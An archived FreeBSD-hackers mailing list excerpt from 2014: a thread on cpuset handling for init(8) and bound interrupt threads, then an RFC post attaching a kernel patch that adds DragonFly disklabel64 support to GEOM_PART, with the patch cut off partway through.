Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201406051559.11274.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Thu, 05 Jun 2014 16:26:13 -0400 (EDT) Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 20:26:15 -0000 On Thursday, June 05, 2014 3:46:15 pm Alexander V. Chernikov wrote: > On 05.06.2014 18:09, John Baldwin wrote: > > On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov wrote: > >> On 04.06.2014 19:06, John Baldwin wrote: > >>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: > >>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: > >>>>> Hello list! > >>>>> > >>>>> Currently init(8) uses group 1 which is root group. > >>>>> Modifications of this group affects both kernel and userland threads. > >>>>> Additionally, such modifications are impossible, for example, in > > presence > >>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds their threads > >>> to > >>>>> particular cpus. > >>>>> > >>>>> Proposed change ("init_cpuset" loader tunable) permits changing cpu > >>>>> masks for > >>>>> userland more easily. Restricting user processes to migrate to/from CPU > >>>>> cores > >>>>> used for network traffic processing is one of the cases. > >>>>> > >>>>> Phabricator: https://phabric.freebsd.org/D141 (the same version attached > >>>>> inline) > >>>>> > >>>>> If there are no objections, I'll commit this next week. > >>>> Why is the tunable needed ? > >>> Because some people already depend on doing 'cpuset -l 0 -s 1'. It is > > also > >>> documented in our manpages that processes start in cpuset 1 by default so > >>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. > >>> > >>> For the stated problem (bound ithreads in drivers), I would actually like > > to > >>> fix ithreads that are bound to a specific CPU to create a different cpuset > >>> instead so they don't conflict with set 1. > >> Yes, this seem to be much better approach. > >> Please take a look on the new patch (here or in the phabricator). > >> Comments: > >> > >> Use different approach for modifyable root set: > >> > >> * Make sets in 0..15 internal > >> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range > >> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id > >> * Create additional root set for ithreads > >> * Use this set in ithread_create() > >> * Change intr_setaffinity() to use cpuset_iroot (do we really need this)? > >> > >> We can probably do the same for kprocs, but I'm unsure if we really need it. > > > > I imagined something a bit simpler. Just create a new set in intr_event_bind > > and bind the ithread to the new set. No need to have more magic set ids, etc. > Well, we also have userland which can modify given changes via `cpuset > -x', so we need to be able to add some more logic on set > allocation/keeping. Additionally, we can try to do the same via `cpuset > -t', so introducing something like cpuset_setIthread() and hooking into > intr_event_bind() won't probably be enough. At least I can't think out a > quick and easy way to do this. cpuset -x calls intr_event_bind(). If you just do it there you fix both places. > > That also means that an ithread that isn't bound to a specific CPU via either > > 'cpuset -x' or BUS_BIND_INTR() will honor 'cpuset -s 1' like other > > kernel processes. I think that's probably fine and sensible. The issue is > Well, it is questionable. Kernel threads are a bit different in terms of > TLB changes, memory working set and so on. (Personally I'd prefer to > separate user / kthreads / ithreads to different sets in HEAD but that's > another story). > > Anyway, we probably can (and should) MFC a bit different version which > tries to change several sets at once if user supplied set 1 as argument. No, I don't think we need umpteen special sets. I think we just need to fix this one specific case of bound ithreads and everything else will work fine. If someone wants to move kprocs out of set 1, they can already do that with the existing tools via cpuset -C, etc. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 21:07:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3F961F93; Thu, 5 Jun 2014 21:07:25 +0000 (UTC) Received: from mail.ipfw.ru (mail.ipfw.ru [IPv6:2a01:4f8:120:6141::2]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CE92E2A5C; Thu, 5 Jun 2014 21:07:24 +0000 (UTC) Received: from v6.mpls.in ([2a02:978:2::5] helo=ws.su29.net) by mail.ipfw.ru with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.76 (FreeBSD)) (envelope-from ) id 1Wsaxi-000C2L-GI; Thu, 05 Jun 2014 20:56:22 +0400 Message-ID: <5390DB64.6010704@FreeBSD.org> Date: Fri, 06 Jun 2014 01:04:36 +0400 From: "Alexander V. Chernikov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: John Baldwin Subject: Re: Permit init(8) use its own cpuset group. References: <538C8F9A.4020301@FreeBSD.org> <201406051009.59432.jhb@freebsd.org> <5390C907.1070405@FreeBSD.org> <201406051559.11274.jhb@freebsd.org> In-Reply-To: <201406051559.11274.jhb@freebsd.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Cc: Konstantin Belousov , freebsd-hackers@freebsd.org, hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 05 Jun 2014 21:07:25 -0000 On 05.06.2014 23:59, John Baldwin wrote: > On Thursday, June 05, 2014 3:46:15 pm Alexander V. Chernikov wrote: >> On 05.06.2014 18:09, John Baldwin wrote: >>> On Wednesday, June 04, 2014 3:16:59 pm Alexander V. Chernikov wrote: >>>> On 04.06.2014 19:06, John Baldwin wrote: >>>>> On Monday, June 02, 2014 12:48:50 pm Konstantin Belousov wrote: >>>>>> On Mon, Jun 02, 2014 at 06:52:10PM +0400, Alexander V. Chernikov wrote: >>>>>>> Hello list! >>>>>>> >>>>>>> Currently init(8) uses group 1 which is root group. >>>>>>> Modifications of this group affects both kernel and userland threads. >>>>>>> Additionally, such modifications are impossible, for example, in >>> presence >>>>>>> of multi-queue NIC drivers (like igb or ixgbe) which binds their > threads >>>>> to >>>>>>> particular cpus. >>>>>>> >>>>>>> Proposed change ("init_cpuset" loader tunable) permits changing cpu >>>>>>> masks for >>>>>>> userland more easily. Restricting user processes to migrate to/from > CPU >>>>>>> cores >>>>>>> used for network traffic processing is one of the cases. >>>>>>> >>>>>>> Phabricator: https://phabric.freebsd.org/D141 (the same version > attached >>>>>>> inline) >>>>>>> >>>>>>> If there are no objections, I'll commit this next week. >>>>>> Why is the tunable needed ? >>>>> Because some people already depend on doing 'cpuset -l 0 -s 1'. It is >>> also >>>>> documented in our manpages that processes start in cpuset 1 by default > so >>>>> that you can use 'cpuset -l 0 -s 1' to move all processes, etc. >>>>> >>>>> For the stated problem (bound ithreads in drivers), I would actually > like >>> to >>>>> fix ithreads that are bound to a specific CPU to create a different > cpuset >>>>> instead so they don't conflict with set 1. >>>> Yes, this seem to be much better approach. >>>> Please take a look on the new patch (here or in the phabricator). >>>> Comments: >>>> >>>> Use different approach for modifyable root set: >>>> >>>> * Make sets in 0..15 internal >>>> * Define CPUSET_SET1 & CPUSET_ITHREAD in that range >>>> * Add cpuset_lookup_builtin() to retrieve such cpu sets by id >>>> * Create additional root set for ithreads >>>> * Use this set in ithread_create() >>>> * Change intr_setaffinity() to use cpuset_iroot (do we really need > this)? >>>> >>>> We can probably do the same for kprocs, but I'm unsure if we really need > it. >>> >>> I imagined something a bit simpler. Just create a new set in > intr_event_bind >>> and bind the ithread to the new set. No need to have more magic set ids, > etc. >> Well, we also have userland which can modify given changes via `cpuset >> -x', so we need to be able to add some more logic on set >> allocation/keeping. Additionally, we can try to do the same via `cpuset >> -t', so introducing something like cpuset_setIthread() and hooking into >> intr_event_bind() won't probably be enough. At least I can't think out a >> quick and easy way to do this. > > cpuset -x calls intr_event_bind(). If you just do it there you fix both > places. 1:04 [0] ra# procstat -t 12 | grep irq275 12 100121 intr irq275: ix0:qu1 2 127 wait - 1:04 [0] ra# cpuset -g -x 275 irq 275 mask: 2 1:04 [0] ra# cpuset -g -t 100121 tid 100121 mask: 2 1:04 [0] ra# cpuset -l 3 -t 100121 -------------------------^^^------ 1:05 [0] ra# cpuset -g -t 100121 tid 100121 mask: 3 > >>> That also means that an ithread that isn't bound to a specific CPU via > either >>> 'cpuset -x' or BUS_BIND_INTR() will honor 'cpuset -s 1' like other >>> kernel processes. I think that's probably fine and sensible. The issue > is >> Well, it is questionable. Kernel threads are a bit different in terms of >> TLB changes, memory working set and so on. (Personally I'd prefer to >> separate user / kthreads / ithreads to different sets in HEAD but that's >> another story). >> >> Anyway, we probably can (and should) MFC a bit different version which >> tries to change several sets at once if user supplied set 1 as argument. > > No, I don't think we need umpteen special sets. I think we just need to fix > this one specific case of bound ithreads and everything else will work fine. > If someone wants to move kprocs out of set 1, they can already do that with > the existing tools via cpuset -C, etc. > From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 6 09:38:57 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx2.freebsd.org (mx2.freebsd.org [IPv6:2001:1900:2254:206a::19:2]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9FB97F78; Fri, 6 Jun 2014 09:38:57 +0000 (UTC) Received: from butcher-nb.yandex.net (hub.freebsd.org [IPv6:2001:1900:2254:206c::16:88]) by mx2.freebsd.org (Postfix) with ESMTP id A38C13412; Fri, 6 Jun 2014 09:38:55 +0000 (UTC) Message-ID: <53918C0B.5060706@FreeBSD.org> Date: Fri, 06 Jun 2014 13:38:19 +0400 From: "Andrey V. Elsukov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-geom@FreeBSD.org, FreeBSD Hackers Subject: [RFC][RFT] disklabel64 support for GEOM_PART X-Enigmail-Version: 1.6 Content-Type: multipart/mixed; boundary="------------040101090305050600040806" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 06 Jun 2014 09:38:57 -0000 This is a multi-part message in MIME format. --------------040101090305050600040806 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Hi All, I've added disklabel64 support for GEOM_PART class. This partitioning scheme is used in DragonFlyBSD. It has the following features: * no part of its metadata is addressable via a partition access; * all offsets are 64-bit; * supports 16 partitions by default (can be extended) * has reserved location for backup label (not yet implemented). If you are able to test compatibility of our implementation and dragonfly's, I'd like to see the results. Currently we have no bootcode that supports this type of disklabel, so it can be only used for data partitions or for access to DragonflyBSD's UFS partitions. There are two patches. The first one add dflybsd's partition types, the second is the disklabel64 implementation. Also, I published them in our phabricator: https://phabric.freebsd.org/D168 https://phabric.freebsd.org/D169 -- WBR, Andrey V. Elsukov --------------040101090305050600040806 Content-Type: text/plain; charset=UTF-8; name="bsd64.diff.txt" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="bsd64.diff.txt" Index: head/sys/geom/part/g_part_bsd64.c =================================================================== --- head/sys/geom/part/g_part_bsd64.c (revision 0) +++ head/sys/geom/part/g_part_bsd64.c (working copy) @@ -0,0 +1,666 @@ +/*- + * Copyright (c) 2014 Andrey V. Elsukov + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include +__FBSDID("$FreeBSD$"); + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "g_part_if.h" + +FEATURE(geom_part_bsd64, "GEOM partitioning class for 64-bit BSD disklabels"); + +/* XXX: move this to sys/disklabel64.h */ +#define DISKMAGIC64 ((uint32_t)0xc4464c59) +#define MAXPARTITIONS64 16 +#define RESPARTITIONS64 32 + +struct disklabel64 { + char d_reserved0[512]; /* reserved or unused */ + u_int32_t d_magic; /* the magic number */ + u_int32_t d_crc; /* crc32() d_magic thru last part */ + u_int32_t d_align; /* partition alignment requirement */ + u_int32_t d_npartitions; /* number of partitions */ + struct uuid d_stor_uuid; /* unique uuid for label */ + + u_int64_t d_total_size; /* total size incl everything (bytes) */ + u_int64_t d_bbase; /* boot area base offset (bytes) */ + /* boot area is pbase - bbase */ + u_int64_t d_pbase; /* first allocatable offset (bytes) */ + u_int64_t d_pstop; /* last allocatable offset+1 (bytes) */ + u_int64_t d_abase; /* location of backup copy if not 0 */ + + u_char d_packname[64]; + u_char d_reserved[64]; + + /* + * Note: offsets are relative to the base of the slice, NOT to + * d_pbase. Unlike 32 bit disklabels the on-disk format for + * a 64 bit disklabel remains slice-relative. + * + * An uninitialized partition has a p_boffset and p_bsize of 0. + * + * If p_fstype is not supported for a live partition it is set + * to FS_OTHER. This is typically the case when the filesystem + * is identified by its uuid. + */ + struct partition64 { /* the partition table */ + u_int64_t p_boffset; /* slice relative offset, in bytes */ + u_int64_t p_bsize; /* size of partition, in bytes */ + u_int8_t p_fstype; + u_int8_t p_unused01; /* reserved, must be 0 */ + u_int8_t p_unused02; /* reserved, must be 0 */ + u_int8_t p_unused03; /* reserved, must be 0 */ + u_int32_t p_unused04; /* reserved, must be 0 */ + u_int32_t p_unused05; /* reserved, must be 0 */ + u_int32_t p_unused06; /* reserved, must be 0 */ + struct uuid p_type_uuid;/* mount type as UUID */ + struct uuid p_stor_uuid;/* unique uuid for storage */ + } d_partitions[MAXPARTITIONS64];/* actually may be more */ +}; + +struct g_part_bsd64_table { + struct g_part_table base; + + uint32_t d_align; + uint64_t d_bbase; + uint64_t d_abase; + struct uuid d_stor_uuid; + char d_reserved0[512]; + u_char d_packname[64]; + u_char d_reserved[64]; +}; + +struct g_part_bsd64_entry { + struct g_part_entry base; + + uint8_t fstype; + struct uuid type_uuid; + struct uuid stor_uuid; +}; + +static int g_part_bsd64_add(struct g_part_table *, struct g_part_entry *, + struct g_part_parms *); +static int g_part_bsd64_bootcode(struct g_part_table *, struct g_part_parms *); +static int g_part_bsd64_create(struct g_part_table *, struct g_part_parms *); +static int g_part_bsd64_destroy(struct g_part_table *, struct g_part_parms *); +static void g_part_bsd64_dumpconf(struct g_part_table *, struct g_part_entry *, + struct sbuf *, const char *); +static int g_part_bsd64_dumpto(struct g_part_table *, struct g_part_entry *); +static int g_part_bsd64_modify(struct g_part_table *, struct g_part_entry *, + struct g_part_parms *); +static const char *g_part_bsd64_name(struct g_part_table *, struct g_part_entry *, + char *, size_t); +static int g_part_bsd64_probe(struct g_part_table *, struct g_consumer *); +static int g_part_bsd64_read(struct g_part_table *, struct g_consumer *); +static const char *g_part_bsd64_type(struct g_part_table *, struct g_part_entry *, + char *, size_t); +static int g_part_bsd64_write(struct g_part_table *, struct g_consumer *); +static int g_part_bsd64_resize(struct g_part_table *, struct g_part_entry *, + struct g_part_parms *); + +static kobj_method_t g_part_bsd64_methods[] = { + KOBJMETHOD(g_part_add, g_part_bsd64_add), + KOBJMETHOD(g_part_bootcode, g_part_bsd64_bootcode), + KOBJMETHOD(g_part_create, g_part_bsd64_create), + KOBJMETHOD(g_part_destroy, g_part_bsd64_destroy), + KOBJMETHOD(g_part_dumpconf, g_part_bsd64_dumpconf), + KOBJMETHOD(g_part_dumpto, g_part_bsd64_dumpto), + KOBJMETHOD(g_part_modify, g_part_bsd64_modify), + KOBJMETHOD(g_part_resize, g_part_bsd64_resize), + KOBJMETHOD(g_part_name, g_part_bsd64_name), + KOBJMETHOD(g_part_probe, g_part_bsd64_probe), + KOBJMETHOD(g_part_read, g_part_bsd64_read), + KOBJMETHOD(g_part_type, g_part_bsd64_type), + KOBJMETHOD(g_part_write, g_part_bsd64_write), + { 0, 0 } +}; + +static struct g_part_scheme g_part_bsd64_scheme = { + "BSD64", + g_part_bsd64_methods, + sizeof(struct g_part_bsd64_table), + .gps_entrysz = sizeof(struct g_part_bsd64_entry), + .gps_minent = MAXPARTITIONS64, + .gps_maxent = MAXPARTITIONS64 +}; +G_PART_SCHEME_DECLARE(g_part_bsd64); + +#define EQUUID(a, b) (memcmp(a, b, sizeof(struct uuid)) == 0) +static struct uuid bsd64_uuid_unused = GPT_ENT_TYPE_UNUSED; +static struct uuid bsd64_uuid_dfbsd_swap = GPT_ENT_TYPE_DRAGONFLY_SWAP; +static struct uuid bsd64_uuid_dfbsd_ufs1 = GPT_ENT_TYPE_DRAGONFLY_UFS1; +static struct uuid bsd64_uuid_dfbsd_vinum = GPT_ENT_TYPE_DRAGONFLY_VINUM; +static struct uuid bsd64_uuid_dfbsd_ccd = GPT_ENT_TYPE_DRAGONFLY_CCD; +static struct uuid bsd64_uuid_dfbsd_legacy = GPT_ENT_TYPE_DRAGONFLY_LEGACY; +static struct uuid bsd64_uuid_dfbsd_hammer = GPT_ENT_TYPE_DRAGONFLY_HAMMER; +static struct uuid bsd64_uuid_dfbsd_hammer2 = GPT_ENT_TYPE_DRAGONFLY_HAMMER2; +static struct uuid bsd64_uuid_freebsd_boot = GPT_ENT_TYPE_FREEBSD_BOOT; +static struct uuid bsd64_uuid_freebsd_nandfs = GPT_ENT_TYPE_FREEBSD_NANDFS; +static struct uuid bsd64_uuid_freebsd_swap = GPT_ENT_TYPE_FREEBSD_SWAP; +static struct uuid bsd64_uuid_freebsd_ufs = GPT_ENT_TYPE_FREEBSD_UFS; +static struct uuid bsd64_uuid_freebsd_vinum = GPT_ENT_TYPE_FREEBSD_VINUM; +static struct uuid bsd64_uuid_freebsd_zfs = GPT_ENT_TYPE_FREEBSD_ZFS; + +struct bsd64_uuid_alias { + struct uuid *uuid; + uint8_t fstype; + int alias; +}; +static struct bsd64_uuid_alias dfbsd_alias_match[] = { + { &bsd64_uuid_dfbsd_swap, FS_SWAP, G_PART_ALIAS_DFBSD_SWAP }, + { &bsd64_uuid_dfbsd_ufs1, FS_BSDFFS, G_PART_ALIAS_DFBSD_UFS }, + { &bsd64_uuid_dfbsd_vinum, FS_VINUM, G_PART_ALIAS_DFBSD_VINUM }, + { &bsd64_uuid_dfbsd_ccd, FS_CCD, G_PART_ALIAS_DFBSD_CCD }, + { &bsd64_uuid_dfbsd_legacy, FS_OTHER, G_PART_ALIAS_DFBSD_LEGACY }, + { &bsd64_uuid_dfbsd_hammer, FS_HAMMER, G_PART_ALIAS_DFBSD_HAMMER }, + { &bsd64_uuid_dfbsd_hammer2, FS_HAMMER2, G_PART_ALIAS_DFBSD_HAMMER2 }, + { NULL, 0, 0} +}; +static struct bsd64_uuid_alias fbsd_alias_match[] = { + { &bsd64_uuid_freebsd_boot, FS_OTHER, G_PART_ALIAS_FREEBSD_BOOT }, + { &bsd64_uuid_freebsd_swap, FS_OTHER, G_PART_ALIAS_FREEBSD_SWAP }, + { &bsd64_uuid_freebsd_ufs, FS_OTHER, G_PART_ALIAS_FREEBSD_UFS }, + { &bsd64_uuid_freebsd_zfs, FS_OTHER, G_PART_ALIAS_FREEBSD_ZFS }, + { &bsd64_uuid_freebsd_vinum, FS_OTHER, G_PART_ALIAS_FREEBSD_VINUM }, + { &bsd64_uuid_freebsd_nandfs, FS_OTHER, G_PART_ALIAS_FREEBSD_NANDFS }, + { NULL, 0, 0} +}; + +static int +bsd64_parse_type(const char *type, struct g_part_bsd64_entry *entry) +{ + struct uuid tmp; + const struct bsd64_uuid_alias *uap; + const char *alias; + char *p; + long lt; + int error; + + if (type[0] == '!') { + if (type[1] == '\0') + return (EINVAL); + lt = strtol(type + 1, &p, 0); + /* The type specified as number */ + if (*p == '\0') { + if (lt <= 0 || lt > 255) + return (EINVAL); + entry->fstype = lt; + entry->type_uuid = bsd64_uuid_unused; + return (0); + } + /* The type specified as uuid */ + error = parse_uuid(type + 1, &tmp); + if (error != 0) + return (error); + if (EQUUID(&tmp, &bsd64_uuid_unused)) + return (EINVAL); + for (uap = &dfbsd_alias_match[0]; uap->uuid != NULL; uap++) { + if (EQUUID(&tmp, uap->uuid)) { + /* Prefer fstype for known uuids */ + entry->type_uuid = bsd64_uuid_unused; + entry->fstype = uap->fstype; + return (0); + } + } + entry->type_uuid = tmp; + entry->fstype = FS_OTHER; + return (0); + } + /* The type specified as symbolic alias name */ + for (uap = &fbsd_alias_match[0]; uap->uuid != NULL; uap++) { + alias = g_part_alias_name(uap->alias); + if (!strcasecmp(type, alias)) { + entry->type_uuid = *uap->uuid; + entry->fstype = uap->fstype; + return (0); + } + } + for (uap = &dfbsd_alias_match[0]; uap->uuid != NULL; uap++) { + alias = g_part_alias_name(uap->alias); + if (!strcasecmp(type, alias)) { + entry->type_uuid = bsd64_uuid_unused; + entry->fstype = uap->fstype; + return (0); + } + } + return (EINVAL); +} + +static int +g_part_bsd64_add(struct g_part_table *basetable, struct g_part_entry *baseentry, + struct g_part_parms *gpp) +{ + struct g_part_bsd64_entry *entry; + + if (gpp->gpp_parms & G_PART_PARM_LABEL) + return (EINVAL); + + entry = (struct g_part_bsd64_entry *)baseentry; + if (bsd64_parse_type(gpp->gpp_type, entry) != 0) + return (EINVAL); + kern_uuidgen(&entry->stor_uuid, 1); + return (0); +} + +static int +g_part_bsd64_bootcode(struct g_part_table *basetable, struct g_part_parms *gpp) +{ + + return (EOPNOTSUPP); +} + +#define PALIGN_SIZE (1024 * 1024) +#define PALIGN_MASK (PALIGN_SIZE - 1) +#define BLKSIZE (4 * 1024) +#define BOOTSIZE (32 * 1024) +#define DALIGN_SIZE (32 * 1024) +static int +g_part_bsd64_create(struct g_part_table *basetable, struct g_part_parms *gpp) +{ + struct g_part_bsd64_table *table; + struct g_part_entry *baseentry; + struct g_provider *pp; + uint64_t blkmask, pbase; + uint32_t blksize, ressize; + + pp = gpp->gpp_provider; + if (pp->mediasize < 2* PALIGN_SIZE) + return (ENOSPC); + + /* + * Use at least 4KB block size. Blksize is stored in the d_align. + * XXX: Actually it is used just for calculate d_bbase and used + * for better alignment in bsdlabel64(8). + */ + blksize = pp->sectorsize < BLKSIZE ? BLKSIZE: pp->sectorsize; + blkmask = blksize - 1; + /* Reserve enough space for RESPARTITIONS64 partitions. */ + ressize = offsetof(struct disklabel64, d_partitions[RESPARTITIONS64]); + ressize = (ressize + blkmask) & ~blkmask; + /* + * Reserve enough space for bootcode and align first allocatable + * offset to PALIGN_SIZE. + * XXX: Currently DragonFlyBSD has 32KB bootcode, but the size could + * be bigger, because it is possible change it (it is equal pbase-bbase) + * in the bsdlabel64(8). + */ + pbase = ressize + ((BOOTSIZE + blkmask) & ~blkmask); + pbase = (pbase + PALIGN_MASK) & ~PALIGN_MASK; + /* + * Take physical offset into account and make first allocatable + * offset 32KB aligned to the start of the physical disk. + * XXX: Actually there are no such restrictions, this is how + * DragonFlyBSD behaves. + */ + pbase += DALIGN_SIZE - pp->stripeoffset % DALIGN_SIZE; + + table = (struct g_part_bsd64_table *)basetable; + table->d_align = blksize; + table->d_bbase = ressize / pp->sectorsize; + table->d_abase = ((pp->mediasize - ressize) & + ~blkmask) / pp->sectorsize; + kern_uuidgen(&table->d_stor_uuid, 1); + basetable->gpt_first = pbase / pp->sectorsize; + basetable->gpt_last = table->d_abase - 1; /* XXX */ + /* + * Create 'c' partition and make it internal, so user will not be + * able use it. + */ + baseentry = g_part_new_entry(basetable, RAW_PART + 1, 0, 0); + baseentry->gpe_internal = 1; + return (0); +} + +static int +g_part_bsd64_destroy(struct g_part_table *basetable, struct g_part_parms *gpp) +{ + struct g_provider *pp; + + pp = LIST_FIRST(&basetable->gpt_gp->consumer)->provider; + if (pp->sectorsize > offsetof(struct disklabel64, d_magic)) + basetable->gpt_smhead |= 1; + else + basetable->gpt_smhead |= 3; + return (0); +} + +static void +g_part_bsd64_dumpconf(struct g_part_table *basetable, + struct g_part_entry *baseentry, struct sbuf *sb, const char *indent) +{ + struct g_part_bsd64_table *table; + struct g_part_bsd64_entry *entry; + char buf[sizeof(table->d_packname)]; + + entry = (struct g_part_bsd64_entry *)baseentry; + if (indent == NULL) { + /* conftxt: libdisk compatibility */ + sbuf_printf(sb, " xs BSD64 xt %u", entry->fstype); + } else if (entry != NULL) { + /* confxml: partition entry information */ + sbuf_printf(sb, "%s%u\n", indent, + entry->fstype); + if (!EQUUID(&bsd64_uuid_unused, &entry->type_uuid)) { + sbuf_printf(sb, "%s", indent); + sbuf_printf_uuid(sb, &entry->type_uuid); + sbuf_printf(sb, "\n"); + } + sbuf_printf(sb, "%s", indent); + sbuf_printf_uuid(sb, &entry->stor_uuid); + sbuf_printf(sb, "\n"); + } else { + /* confxml: scheme information */ + table = (struct g_part_bsd64_table *)basetable; + sbuf_printf(sb, "%s%ju\n", indent, + (uintmax_t)table->d_bbase); + if (table->d_abase) + sbuf_printf(sb, "%s%ju\n", + indent, (uintmax_t)table->d_abase); + sbuf_printf(sb, "%s", indent); + sbuf_printf_uuid(sb, &table->d_stor_uuid); + sbuf_printf(sb, "\n"); + sbuf_printf(sb, "%s\n"); + } +} + +static int +g_part_bsd64_dumpto(struct g_part_table *table, struct g_part_entry *baseentry) +{ + struct g_part_bsd64_entry *entry; + + /* Allow dumping to a swap partition. */ + entry = (struct g_part_bsd64_entry *)baseentry; + if (entry->fstype == FS_SWAP || + EQUUID(&entry->type_uuid, &bsd64_uuid_dfbsd_swap) || + EQUUID(&entry->type_uuid, &bsd64_uuid_freebsd_swap)) + return (1); + return (0); +} + +static int +g_part_bsd64_modify(struct g_part_table *basetable, + struct g_part_entry *baseentry, struct g_part_parms *gpp) +{ + struct g_part_bsd64_entry *entry; + + if (gpp->gpp_parms & G_PART_PARM_LABEL) + return (EINVAL); + + entry = (struct g_part_bsd64_entry *)baseentry; + if (gpp->gpp_parms & G_PART_PARM_TYPE) + return (bsd64_parse_type(gpp->gpp_type, entry)); + return (0); +} + +static int +g_part_bsd64_resize(struct g_part_table *basetable, + struct g_part_entry *baseentry, struct g_part_parms *gpp) +{ + struct g_part_bsd64_table *table; + struct g_provider *pp; + + if (baseentry == NULL) { + pp = LIST_FIRST(&basetable->gpt_gp->consumer)->provider; + table = (struct g_part_bsd64_table *)basetable; + table->d_abase = ((pp->mediasize - + table->d_bbase * pp->sectorsize) & ~(table->d_align - 1)) / + pp->sectorsize; + basetable->gpt_last = table->d_abase - 1; + return (0); + } + baseentry->gpe_end = baseentry->gpe_start + gpp->gpp_size - 1; + return (0); +} + +static const char * +g_part_bsd64_name(struct g_part_table *table, struct g_part_entry *baseentry, + char *buf, size_t bufsz) +{ + + snprintf(buf, bufsz, "%c", 'a' + baseentry->gpe_index - 1); + return (buf); +} + +static int +g_part_bsd64_probe(struct g_part_table *table, struct g_consumer *cp) +{ + struct g_provider *pp; + uint32_t v; + int error; + u_char *buf; + + pp = cp->provider; + if (pp->mediasize < 2 * PALIGN_SIZE) + return (ENOSPC); + v = (pp->sectorsize + + offsetof(struct disklabel64, d_magic)) & ~(pp->sectorsize - 1); + buf = g_read_data(cp, 0, v, &error); + if (buf == NULL) + return (error); + v = le32dec(buf + offsetof(struct disklabel64, d_magic)); + g_free(buf); + return (v == DISKMAGIC64 ? G_PART_PROBE_PRI_HIGH: ENXIO); +} + +static int +g_part_bsd64_read(struct g_part_table *basetable, struct g_consumer *cp) +{ + struct g_part_bsd64_table *table; + struct g_part_bsd64_entry *entry; + struct g_part_entry *baseentry; + struct g_provider *pp; + struct disklabel64 *dlp; + uint64_t v64, sz; + uint32_t v32; + int error, index; + u_char *buf; + + pp = cp->provider; + table = (struct g_part_bsd64_table *)basetable; + v32 = (pp->sectorsize + + sizeof(struct disklabel64) - 1) & ~(pp->sectorsize - 1); + buf = g_read_data(cp, 0, v32, &error); + if (buf == NULL) + return (error); + + dlp = (struct disklabel64 *)buf; + basetable->gpt_entries = le32toh(dlp->d_npartitions); + if (basetable->gpt_entries > MAXPARTITIONS64) + goto invalid_label; + v32 = le32toh(dlp->d_crc); + dlp->d_crc = 0; + if (crc32(&dlp->d_magic, offsetof(struct disklabel64, + d_partitions[basetable->gpt_entries]) - + offsetof(struct disklabel64, d_magic)) != v32) + goto invalid_label; + table->d_align = le32toh(dlp->d_align); + if (table->d_align == 0 || (table->d_align & (pp->sectorsize - 1))) + goto 